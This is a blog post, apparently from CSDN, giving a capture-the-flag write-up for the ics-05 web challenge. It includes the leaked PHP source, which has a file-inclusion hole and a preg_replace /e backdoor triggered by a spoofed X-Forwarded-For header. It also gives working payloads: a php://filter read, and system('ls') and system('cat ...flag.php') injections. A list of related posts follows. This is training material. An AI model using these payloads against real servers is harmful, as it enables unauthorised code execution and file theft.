ics-05(攻防世界)

攻防世界web进阶区ics-05 打开链接 看了看源代码,没发现啥,页面到处点点,只有设备维护中心可以进去 再点了一下云平台设备维护中心,发现url栏?page=index url栏看见page,考虑文件包含漏洞 读取index的源代码,参考大佬的wp,用php伪协议php://filter payload:?page=php://filter/read=convert.base64-encode/resource=index.php 得到一段base64,解码 https://tool.chinaz.com/tools/base64. 阅读详情

1.打开环境,审计代码。

2.查看网页源码,发现在index?page=可以盲猜用伪协议php://filter读取index.php的源码

<?php
error_reporting(0);

@session_start();
posix_setuid(1000);


?>
<!DOCTYPE HTML>
<html>

<head>
    <meta charset="utf-8">
    <meta name="renderer" content="webkit">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <link rel="stylesheet" href="layui/css/layui.css" media="all">
    <title>设备维护中心</title>
    <meta charset="utf-8">
</head>

<body>
    <ul class="layui-nav">
        <li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
    </ul>
    <fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
        <legend>设备列表</legend>
    </fieldset>
    <table class="layui-hide" id="test"></table>
    <script type="text/html" id="switchTpl">
        <!-- 这里的 checked 的状态只是演示 -->
        <input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
    </script>
    <script src="layui/layui.js" charset="utf-8"></script>
    <script>
    layui.use('table', function() {
        var table = layui.table,
            form = layui.form;

        table.render({
            elem: '#test',
            url: '/somrthing.json',
            cellMinWidth: 80,
            cols: [
                [
                    { type: 'numbers' },
                     { type: 'checkbox' },
                     { field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
                     { field: 'name', title: '设备名', templet: '#nameTpl' },
                     { field: 'area', title: '区域' },
                     { field: 'status', title: '维护状态', minWidth: 120, sort: true },
                     { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
                ]
            ],
            page: true
        });
    });
    </script>
    <script>
    layui.use('element', function() {
        var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
        //监听导航点击
        element.on('nav(demo)', function(elem) {
            //console.log(elem)
            layer.msg(elem.text());
        });
    });
    </script>

<?php

$page = $_GET[page];

if (isset($page)) {



if (ctype_alnum($page)) {
?>

    <br /><br /><br /><br />
    <div style="text-align:center">
        <p class="lead"><?php echo $page; die();?></p>
    <br /><br /><br /><br />

<?php

}else{

?>
        <br /><br /><br /><br />
        <div style="text-align:center">
            <p class="lead">
                <?php

                if (strpos($page, 'input') > 0) {
                    die();
                }

                if (strpos($page, 'ta:text') > 0) {
                    die();
                }

                if (strpos($page, 'text') > 0) {
                    die();
                }

                if ($page === 'index.php') {
                    die('Ok');
                }
                    include($page);
                    die();
                ?>
        </p>
        <br /><br /><br /><br />

<?php
}}


//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

}





?>

</body>

</html>

3.利用X-Forwarded-For和preg_replace因/e修饰符的使用,使得replacement里的字符串可以以php代码运行

于是有payload:

?pat=/test/e&rep=system("ls")&sub=just test
#读取目录
?pat=/test/e&rep=system("cat s3chahahaDir/flag/flag.php")&sub= just test
#读取flag
(注意pattern和subject的一致性)

知识点总结:

1.伪协议

2.preg_place漏洞

[wp] 攻防世界 ics-05 进入题目发现也只有设备维护中心的选项可以点 page传的参数在页面会有回显,fuzz一下: 阅读详情

相关推荐

浅谈武术擂台格斗机器人大赛

武术擂台机器人赛是工科类专业的一个跨学科的竞赛项目,它涵盖了机械结构、硬件电路和计算机程序等技术领域。笔者在校期间有幸参加过四次这样的比赛,有成功也有失败,对此深有感悟。本文仅为个人观点,有说得不对的地方,望积极指出,希望能帮助到有需要的人。

weixin_43811044的博客 1万+

攻防世界——ics-05

攻防世界——ics-05,打开题目场景,进入设备维护中心,将所有可点击的地方都点了一遍,发现只有设备维护中心可以打开在源代码中发现page=index写入参数,参数会在页面中显示有参数的话,可以尝试以下XSS(没有任何反应,失败)LFI(Local File Inclusion) 本地文件包含漏洞,指的是能打开并包含本地文件的漏洞 LFI漏洞的黑盒判断方法:如果只从URL判断,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键词,就可能存在文件包含漏洞。..

m0_62063669的博客 2815

BERTopic模型入门教程(附代码+参数调节)

BERTopic 是一种用于从文本数据中提取主题模型的新型方法。通过结合 BERT嵌入和传统的主题模型来生成语义丰富的主题。传统的主题模型(如LDA)主要依赖于词频矩阵,而 BERTopic 通过预训练语言模型生成高维语义嵌入来捕捉词语间的复杂关系,因此可以更好地处理上下文信息。BERTopic模型可以看作是创建其主题表示的一系列步骤。核心原理如下:就本质而言,BERTopic就是一个拼装框架,可以把每部分都替换成其他模型,只要完成任务即可。

m0_52069102的博客 1万+

攻防世界web进阶区ics-05详解

攻防世界web进阶区ics-05详解题目解法 题目 我们只能点击一个地方 解法 御剑扫描有一个css的文件 没有什么作用 发现又点了一次的时候,url发生了改变 因为是php的页面,我们试试php伪协议读取文件 http://220.249.52.133:39554/index.php?page=php://filter/read=convert.base64-encode/resource=index.php <?php error_reporting(0); @session_s

hxhxhxhxx的博客 4331

手把手教你学Simulink--基于故障诊断与容错控制的场景实例:电动汽车电机驱动系统的故障检测与隔离

本文介绍了基于Simulink的电动汽车电机驱动系统故障诊断与隔离(FDI)仿真建模方法。通过构建永磁同步电机(PMSM)驱动系统模型,实现了IGBT开路、电流传感器漂移等典型故障的注入与检测。重点阐述了基于观测器的残差生成方法,以及利用Stateflow实现的故障隔离逻辑。仿真结果表明,该系统能在85ms内准确识别故障类型,隔离准确率达97%,并支持容错控制。文章还探讨了AI故障预测、数字孪生等高级应用方向,为电动汽车电驱系统安全提供了完整的仿真解决方案。

MHD0815的博客 961

CAN-do-paser:Java开发的CAN总线数据帧解析库

CAN总线数据帧使用DBC文件信息解析为物理量,基于Java开发的数据解析工具。

佳瑞的博客 1134

【攻防世界】ics-05(PHP伪协议+代码审计+Linux指令)

它表示在执行替换时将替换字符串作为 PHP 代码进行评估和执行。修饰符在 PHP 中已经被废弃。

2302_79800344的博客 2197

Spring Boot:如何快速搭建一个高性能微服务架构?

通过本文的详细步骤,我们成功搭建了一个高性能的微服务架构。Spring Boot 和 Spring Cloud 提供了强大的工具链,使得开发者能够快速实现服务注册与发现、负载均衡、熔断器与降级机制等功能。同时,通过数据库连接池、Redis 缓存和异步处理等优化手段,进一步提升了系统的性能和可靠性。希望本文能够帮助你快速入门 Spring Boot 微服务架构的搭建,并为实际项目提供参考。如果你有任何问题或建议,欢迎在评论区留言!

shrgegrb的博客 1013

攻防世界-ics-05-(详细操作)做题笔记

攻防世界-ics-05-(详细操作)做题笔记

qq_43715020的博客 2570

YOLOv13改进:注意力机制 | 动态稀疏注意力的双层路由方法BiLevelRoutingAttention | CVPR2023

BiLevelRoutingAttention方法对小目标检测效果比较好。可能是因为BRA模块是基于稀疏采样而不是下采样,一来可以保留细粒度的细节信息,二来同样可以达到节省计算量的目的。

①答疑群聊服务;②YOLO大模型知识问答系统;③计算机视觉论文生成智能体; 1437

【嵌入式】AMIC和DMIC(什么是数字麦和模拟麦)

最近在做一个关于MIC的项目,同事不太清楚AMIC和DMIC的区别,又有高手详细解释了其原理,在此整理记录一下,方便后续查阅。

Bigan(安)的博客 8552

web:ics-05(本地文件包含漏洞、preg_replace函数/e漏洞、php伪协议读取文件)

作用:搜索subject中匹配pattern的部分, 以replacement的内容进行替换。$pattern: 要搜索的模式,可以是字符串或一个字符串数组。就是替换字符串,要使 replacement 参数是我们想要的php代码即可。$subject: 要搜索替换的目标字符串或字符串数组。$replacement: 用于替换的字符串或字符串数组。返回了,写入的参数,猜测可能有文件包含漏洞。正确的php system()函数的书写。进入flag/,发现flag.php。

sleepywin的博客 692

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

攻防世界 ics-05

攻防世界ics-05复现~~~~

m0_54110873的博客 755

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

攻防世界-Web-ics-05

1.php伪协议获取源代码2.preg_replace正则匹配使用\e模式。

2301_80797059的博客 391

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

攻防世界-ics-05(远程文件执行)

大致浏览一下网页,发现就这边会有东西。看一下源码会不会有东西或者稍微点击一下这个页面的内容看会不会出现东西。点击了一下这个云平台设备维护中心发现url变了,是get的方法传page参数。

weixin_51334173的博客 470

攻防世界 web高手进阶区 4分题(fakebook、ics-04、ics-05、FlatScience)

继续ctf的旅程,攻防世界web高手进阶区的4分题:fakebook、ics-04、ics-05、FlatScience

闵行小鱼塘 991

攻防世界web进阶ics-05 详细wp

攻防世界web进阶区ics-05 wp 题目网站 根据题目提示选择设备维护中心,或者简单粗暴的全都点一遍,发现也只有设备维护中心能点开 打开后 F12 调网页源码 查看后发现 ?page=index 有page这个get参数 自然联想到可能存在利用文件包含读取网页源码的漏洞 这里给出利用php内置filter协议读取文件的代码 ?page=php://filter/read=convert....

zhwho的博客 5175

攻防世界WEB进阶之ics-05

攻防世界WEB进阶之ics-051、描述2、实操3、答案 1、描述 难度系数: 3星 题目来源: XCTF 4th-CyberEarth 题目描述:其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统 题目场景: 点击获取在线场景 题目附件: 暂无 首先打开场景,进入系统设备维护中心,没有发现什么,查找到相关漏洞一个,查看源码: 2、实操 使用 http://111.198.29.45:449...

harry_c的博客 2960

【攻防世界】十七、ics-05

步骤 打开题目场景,根据提示点击进入设备维护中心(其他页面也点不开) 发现页面也没什么可以点击的地方,乱点了几下发现云平台设备维护中心是可以点击的,虽然还是同一个页面,但是多了个get参数: 而且参数的内容还会在页面之中显示,尝试看有没有xss,失败: 看来不是这方面的考题,尝试输入index.php,发现返回Ok: 这里还没有看出来是啥,然后又尝试输入index.html,这才恍然大悟这块有文件包含: 既然是文件包含我们就尝试来利用它,尝试使用伪协议php://,它包含两个子协议,功能不同。.

Hi~ 土拨鼠 2124

攻防世界web进阶区ics-05漏洞利用与防御实战

本文深入剖析了攻防世界Web进阶区ics-05题目的漏洞利用与防御。通过分析page参数的文件包含漏洞,利用PHP伪协议读取源码,并发现一个需伪造X-Forwarded-For请求头触发的preg_replace代码执行后门。文章详细演示了从信息收集、源码审计到最终利用伪协议和代码执行获取flag的完整攻击链,并总结了针对本地文件包含、危险函数及HTTP头欺骗的关键防御措施。

apple5的专栏 668

【攻防世界】ics-05

提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。使用 /e 修饰符,preg_replace 会将 replacement 参数当作 PHP 代码执行。php://filter 伪协议查看源码 + preg_replace 函数漏洞。1.获取网页源代码。多点点界面,发现点云平台设备维护中心时,页面发生变化。page=index 输入什么显示什么,有回显。用php://filter读取网页源代码。

wangzhemvp的博客 869
上一篇: mfw(攻防世界)
下一篇: shrine(攻防世界)
ha0cker
博客等级 码龄5年 2粉丝 54原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值